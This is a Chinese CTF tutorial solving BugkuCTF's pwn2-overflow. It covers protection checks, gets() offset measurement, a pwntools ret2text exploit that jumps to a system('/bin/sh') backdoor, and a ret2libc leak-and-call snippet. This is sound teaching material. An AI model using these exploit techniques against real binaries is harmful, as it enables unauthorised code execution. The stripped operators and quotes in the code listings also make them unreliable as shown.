第一次做PWN题的时候我犯过一个特别蠢的错题目叫pwn2-overflow名字里都写着overflow了那我就用pwntools发一长串“A”进去结果程序纹丝不动。后来才明白栈溢出不是“塞一堆字母”就完事你得知道从哪个字节写到哪个字节返回地址在哪个偏移上最终要跳到哪里去。这篇就以BugkuCTF的PWN入门题pwn2-overflow为例把从拿到题目到成功getshell的完整分析流程走一遍确认保护机制、定位gets栈溢出、测量返回地址偏移、寻找后门函数、写Exploit、打远程容器。内容尽量照顾零基础但如果你已经做过几道题里面关于调试和踩坑的部分同样值得看看。1. 拿到pwn2-overflow之后先别急着写payload1.1 用file和checksec给程序“验明正身”很多新手习惯性双击运行一下程序发现要输入就乱输一通然后开始瞎试。我建议第一步永远是打开终端先看这个文件到底是什么。file pwn2典型的输出长这样pwn2: ELF 32-bit LSB executable, Intel 80386, dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped这里有几个关键信息ELF 32-bit LSB executable这是一个32位的小端序可执行文件。小端意味着地址在内存中按“低字节在前”排列所以后面用p32()打包地址。dynamically linked动态链接程序运行时会加载glibc。not stripped符号表没有被剥离函数名还保留着这对逆向分析来说非常友好。接下来用checksec看保护机制checksec --file./pwn2常见输出Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE disabled这四个属性直接决定你怎么打No canary found栈上没有金丝雀保护覆盖返回地址时不会触发检测。这是栈溢出利用的基本前提。NX enabled栈段不可执行。意味着你不能把shellcode放在栈上跳过去执行。对于这类入门题我们通常选择ret2text也就是跳转到程序里已经存在的后门函数。PIE disabled程序加载地址固定所有函数地址不会随机化。这意味着可以直接把硬编码地址写进exp。Partial RELROGOT表部分只读某些情况下可以改GOT不过对这道ret2text题来说暂时用不上但要知道它存在。把这四行读完你基本就有了利用路线栈溢出 固定地址 程序自带可用函数大概率是个ret2text题。1.2 试运行一遍观察程序在做什么接下来运行一下程序看交互逻辑./pwn2程序可能输出一句话比如“Welcome to pwn2!”然后提示输入输入一个名字后回显。这说明程序至少有一个输入点。如果这个输入点用的是gets()那么输入超长内容就会造成栈溢出。我们可以用Python快速验证python3 -c print(A * 200) | ./pwn2如果程序崩溃提示Segmentation fault那就说明输入确实破坏了栈上的关键数据。这一步只是“暴力确认”真正要定位返回地址偏移还需要后面的循环测量。到这里我们已经确认了三个事实程序是32位、没有栈保护、存在一个可导致崩溃的输入点。接下来就要去反汇编里把漏洞函数找出来。2. 漏洞点定位与栈溢出原理拆解2.1 从反汇编里揪出gets调用在Linux命令行里不需要打开IDA先用objdump就能看到大致逻辑objdump -d pwn2 | grep gets大概率会看到类似这样的输出0804849d main: ... 80484a8: call 8048320 getsplt这说明程序在main里调用了gets。用objdump -d再看一段main的完整反汇编通常会包含这样几句80484a0: sub $0x18,%esp 80484a3: lea -0x18(%ebp),%eax 80484a6: push %eax 80484a7: call 8048320 getsplt这里的sub $0x18,%esp表示在栈上分配了0x18也就是24字节的空间lea -0x18(%ebp),%eax把该空间的起始地址交给gets作为缓冲区。因此可以猜测程序内部大概是char buf[16]; // 编译器可能额外分配了填充和对齐 gets(buf);gets()这个函数从来不管缓冲区有多大它只会一直读到换行符为止。如果用户输入超过缓冲区容量多余的数据就会沿着栈向高地址方向覆盖依次覆盖保存的EBP、返回地址再往上就是调用者的栈帧。用一张文字栈帧图说明从高地址到低地址大致是高地址 ------------------ | 调用者的栈帧 | ------------------ | 返回地址 | - ret address ------------------ | 旧的EBP | - saved ebp ------------------ | 缓冲区数据 | - gets写入起点 ------------------ 低地址当我们输入足够多的字节后缓冲区从低地址向上增长一路覆盖到返回地址。最终CPU执行ret指令时会把栈顶被覆盖的内容弹到EIP程序跳转到我们指定的地址这就是栈溢出的核心利用点。2.2 返回地址距离缓冲区多远不要“觉得”要“测”知道了漏洞点是gets还不够你得知道返回地址在输入内容的第几个字节。很多人在这一步栽跟头因为编译器分配的栈空间和源码里的buf[16]不一定严格相等。比如上面反汇编里sub $0x18,%esp看起来缓冲区离返回地址是0x18 4也就是28字节但有时候还有其它局部变量、栈对齐实际偏移可能不是这个数。所以最稳妥的办法是动态测量。pwntools自带了cyclicfrom pwn import * context.log_level error p process(./pwn2) p.sendline(cyclic(100)) p.wait() core p.corefile offset cyclic_find(core.eip) print(offset)如果系统没有开启core dump先执行一下ulimit -c unlimited或者用gdb配合pwntools的patterngdb ./pwn2 gdb$ pattern create 100 gdb$ r # 输入生成的pattern gdb$ pattern offset $eip以我自己复现这道题的版本为例测量出来的偏移是52。这个值的意思是从缓冲区起始位置开始写52个字节之后紧接着的4个字节就是返回地址。也就是说payload结构是A * 52 目标地址(4字节)这里重点不是死记“52”这个数而是要学会怎么自己测。不同版本、不同编译参数测出来的偏移可能不同只靠肉眼看反汇编猜偏移极容易出现“差4个字节”的尴尬局面。3. 找到能让你getshell的目标地址3.1 先搜程序里有没有“好心后门”CTF入门题最常见的出法就是程序员在代码里留了一个“后门函数”里面直接调用system(/bin/sh)或system(cat flag)。我们要做的就是把返回地址覆盖到这个函数的入口地址。先搜一下字符串strings pwn2 | grep -E /bin/sh|flag|system如果有/bin/sh再配合反汇编找是谁调用它的objdump -d pwn2 | grep -E system|getshell|win|flag假设反汇编里看到一个函数叫getshell0804845b getshell: 804845b: push %ebp 804845c: mov %esp,%ebp 804845e: sub $0x18,%esp 8048461: sub $0xc,%esp 8048464: push $0x8048550 8048469: call 8048320 systemplt同时在0x8048550处有字符串/bin/sh。那这个getshell就是我们的目标入口地址是0x0804845b。当main里的gets执行完函数返回时会把栈上被覆盖的返回地址弹入EIP如果这个值是0x0804845bCPU就会进到getshell执行system(/bin/sh)我们就拿到了shell。这种利用方式在PWN里叫ret2textreturn to text跳回程序自带代码段。它是栈溢出最基础的题型pwn2-overflow几乎就是为讲清楚这件事设计的。3.2 没有现成后门函数怎么办如果搜了半天没找到/bin/sh也不要慌。可以退而求其次看有没有systemplt如果有并且你能让system的参数指向一个/bin/sh字符串就能构造手动栈帧来调用。再不行就要走ret2libc泄漏libc基址然后计算system和/bin/sh的地址。不过这道题一般不需要走到那一步后面第6节我会简单说一下后续进阶路线。另外要注意PIE disabled这个条件很关键。正因为地址固定0x0804845b每次运行都是一样的我们才能直接硬编码。如果开了PIE还要先想办法泄漏代码段地址那题目难度一下就上去了。4. 一步步写Exploit从本地打通到远程容器4.1 pwntools脚本骨架现在信息和偏移都齐了完整exp可以写成这样#!/usr/bin/env python3 from pwn import * context.arch i386 context.log_level info offset 52 getshell_addr 0x0804845b # 以你实际反汇编结果为准 if args.REMOTE: io remote(args.HOST, args.PORT) else: io process(./pwn2) payload bA * offset p32(getshell_addr) io.sendline(payload) io.interactive()逐行解释一下context.arch i386告诉pwntools目标架构是32位某些API会依据这个自动选择正确格式。offset 52前面用cyclic测量的结果。p32(getshell_addr)把0x0804845b按32位小端打包成\x5b\x84\x04\x08。io.sendline(payload)sendline会在末尾加一个换行符gets读到换行就停止所以payload末尾的\n不会覆盖到返回地址之后不用担心。io.interactive()成功后进入交互模式可以输入命令。本地跑一遍python3 exp.py如果一切正常你会看到程序输出一个$提示符这时候输入$ cat flag就能拿到flag了。4.2 打远程动态容器时容易忽略的细节现在很多PWN题目平台用“动态容器”部署每次开启题目会给一个随机域名和端口。这种情况下exp里的连接对象要从process改成remotepython3 exp.py REMOTE HOSTnode4.bugku.example PORT32222pwntools的args机制会自动读取命令行里的HOST和PORT脚本不用改来改去。打远程时最常遇到的情况本地能通远程不通。远程连接不稳定recv超时。第一个可能的原因是远程容器里的程序和附件不是同一份。大部分平台附件就是容器里的原程序但如果你自己用别的参数重新编译过地址可能对不上。解决办法是只用平台给的附件去分析和测偏移。第二个原因一般是网络或题目启动时间可以先在exp.py里把context.log_level改成debug看看发送和接收的数据到底卡在哪一步。还有一个细节远程容器里flag路径不一定在当前目录。拿到shell后先ls找不到就find / -name flag* 2/dev/null常见位置有/flag、/home/ctf/flag或者就在当前目录的flag.txt。5. 调试与翻车现场为什么你的exp总是差一点5.1 用gdb在ret下断点亲眼看EIP跳转写exp最烦的不是看不懂原理而是“明明该通了但就是不通”。这时候不要瞎改偏移用gdb看具体执行状态。我们可以直接在目标返回点下断点。以getshell地址0x0804845b为例想在跳转前看栈内容可以先在gets之后的ret指令地址下断点但更简单的是直接看崩溃时的EIP。如果本地用gdb运行exp的payloadgdb ./pwn2 gdb$ b *0x0804845b gdb$ r payload_file如果断点命中说明程序确实执行到了getshell。如果没命中说明返回地址没有被正确覆盖。更常见的方法是在ret指令处下断点。比如main的返回点地址是0x080484c1那就gdb$ b *0x080484c1 gdb$ r payload_file断下后查看栈顶gdb$ x/10wx $esp如果栈顶第一个值是你填的0x0804845b那么继续si单步EIP就会被改成这个地址利用成功。如果看到的是一堆0x41414141说明偏移少了4个字节如果返回地址是0x08048400后面跟着奇怪的字符说明偏移多了或者地址被截断。这个调试过程看起来慢其实是最快的排查方式。比一遍一遍盲试要高效得多。5.2 几个容易踩的坏字节坑栈溢出payload除了偏移要准还得注意输入函数对特殊字符的处理。gets会一直读到换行符\x0a为止。如果返回地址中包含\x0a比如0x0804840a那么写入的字节流里会出现\x0agets会认为输入结束后半段地址没法写入。遇到这种情况就要换一种思路比如跳到别的地址再调整栈或者利用程序里已有的跳板。不过pwn2-overflow这种入门题的地址通常不包含坏字节运气好可以直接用。如果程序用的是read而不是gets情况会简单一点因为read读够了指定长度才返回不会因为\x0a截断。但要注意sendline会在末尾多给一个\n如果read大小刚好等于payload长度这个\n可能会落在返回地址之后的栈上一般不致命但清洗payload时要心里有数。还有64位Linux下经常遇到的movaps栈对齐问题如果跳转到libc函数system执行时因为栈没按16字节对齐会直接SIGSEGV。但pwn2-overflow是32位程序通常碰不到这个坑知道即可。5.3 本地能打远程不通先从这三项排查我自己的排查顺序一般是确认用的是平台原版pwn2文件而不是自己本地编译的替代品。确认远程程序是否有同样的保护机制运行checksec对比。把context.log_level debug打开看远程返回的内容是不是和本地一致。如果三者都没问题就要考虑是不是平台容器里用socat包装了程序导致输入输出有缓冲io.interactive()之后需要先发送一个回车或者命令才回显。这种情况不常见但遇到过一次会让人很难受。可以尝试在interactive之前用io.sendline(becho PWN)测试一下是否进入shell。6. pwn2-overflow之后你能顺路学会的东西6.1 把解题流程固化成自己的模板做完这道题不要急着做下一道。先复盘把流程浓缩成一张表以后做任何栈溢出题都能套阶段做什么常用工具/命令信息收集确认架构、保护机制file, checksec行为观察找到输入点和漏洞函数运行程序, objdump, strings逆向分析理解函数逻辑找后门或危险函数objdump, IDA, gdb偏移测量确定返回地址偏移pwntools cyclic, gdb pattern漏洞利用构造payload劫持控制流pwntools远程调试打通远程容器环境remote, log_leveldebug这个流程不是死的。后面遇到canary、PIE、Full RELRO每一步都要加上新的应对手段但骨架就是这个。6.2 从ret2text走向ret2libc和ROPpwn2-overflow是“送分题”式的ret2text因为程序里直接放了system(/bin/sh)。现实里更多题目没有后门这时要打的路线就变成了第一次利用漏洞调用putsplt把putsgot里的真实地址泄漏出来。根据泄漏的地址和LibcSearcher或本地libc文件算出libc基址。第二次利用漏洞将返回地址覆盖为system的地址并把栈上参数布置成/bin/sh字符串地址。这个技术叫ret2libc如果再配合pop ret之类的gadget就是最简单的ROP。入门顺序可以这样走ret2text → ret2shellcode → ret2libc → ret2csu → SROP。这里给一个ret2libc的最小思路片段# 第一次溢出泄漏 puts 地址 payload1 bA * offset payload1 p32(puts_plt) payload1 p32(main_addr) # 返回main方便第二次触发 payload1 p32(puts_got) io.sendline(payload1) puts_addr u32(io.recv(4)) # 根据 puts_addr 和 libc 数据库计算基址 libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base libc.search(b/bin/sh).__next__() # 第二次溢出ret2system payload2 bA * offset payload2 p32(system_addr) payload2 p32(0xdeadbeef) # return address after system payload2 p32(binsh_addr) io.sendline(payload2)这段代码先不用完全理解它只是告诉你pwn2-overflow里学的每一个点——偏移测量、p32/p64打包、栈布局——在后面全都有用。掌握了这道题等于拿到了打开PWN大门的钥匙。最后说点个人体会。我到现在做栈溢出题还保留一个习惯拿到程序先不运行先file再看checksec最后才跑。很多人觉得这几步多余但恰恰是它们决定了你后面用的是p32还是p64是ret2text还是ret2libc。pwn2-overflow这类题最友好的地方在于它把所有前置条件都压到最简逼着你专注理解“覆盖返回地址”这一个点。如果你能把这篇里的流程完整跑通我建议你关掉所有writeup把exp重写一遍再去别的平台找一道同类型题练手。踩坑是正常的我当时就在偏移上卡了整整一个晚上最后发现只是少算了4个字节。这种酸痛之后打通shell的爽快感估计每个玩PWN的人都懂。